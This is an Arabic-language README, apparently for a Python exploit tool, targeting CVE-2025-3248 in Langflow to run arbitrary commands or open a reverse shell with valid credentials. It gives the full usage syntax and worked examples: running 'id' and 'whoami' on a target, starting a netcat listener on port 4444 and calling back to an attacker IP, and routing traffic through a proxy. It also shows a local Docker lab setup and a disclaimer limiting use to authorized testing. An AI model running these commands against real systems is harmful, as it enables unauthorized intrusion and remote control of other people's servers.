استغلال ثغرة CVE-2025-3248 في Langflow لتنفيذ الأوامر عن بُعد مع المصادقة

يقوم هذا النص البرمجي بلغة Python باستغلال CVE-2025-3248 لتنفيذ أوامر عشوائية أو إنشاء شِل عكسي (reverse shell) على نظام ضعيف. المصادقة مطلوبة لاستخدام هذا الاستغلال.

الميزات

• تنفيذ الأوامر بمصادقة: تشغيل أوامر عشوائية على الهدف.
• شِل عكسي: إنشاء شِل عكسي إلى المستمع الخاص بك.
• دعم الوكيل (Proxy): توجيه الطلبات عبر وكيل (مثل Burp Suite).

المتطلبات

• Python 3.x
• مكتبة requests

قم بتثبيت التبعيات باستخدام:

pip install requests

الاستخدام

python3 exploit.py -u <TARGET_URL> -l <USERNAME> -p <PASSWORD> [-c <COMMAND>] [--proxy <PROXY>] [--lhost <LHOST> --lport <LPORT>]

الوسائط

* يجب عليك تحديد إما أمر (-c) أو كلاً من --lhost و --lport للشل العكسي.

أمثلة

1. تنفيذ أمر

python3 exploit.py -u https://target.com -l admin -p password -c "id"

2. الحصول على شِل عكسي

ابدأ مستمعًا على جهازك:

nc -lvnp 4444

ثم قم بتشغيل:

python3 exploit.py -u https://target.com -l admin -p password --lhost YOUR_IP --lport 4444

3. استخدام وكيل

python3 exploit.py -u https://target.com -l admin -p password -c "whoami" --proxy http://127.0.0.1:8080

صورة Docker

نشر الصورة

يمكنك نشر صورة Docker باستخدام الأمر التالي:

podman compose up -d

ستكون الصورة متاحة على http://localhost:7860. إسناد ملف compose: هذا المستودع

إخلاء مسؤولية

هذا النص البرمجي لأغراض تعليمية واختبار الاختراق المصرح به فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

تم إنشاء هذا الملف التمهيدي بواسطة الذكاء الاصطناعي.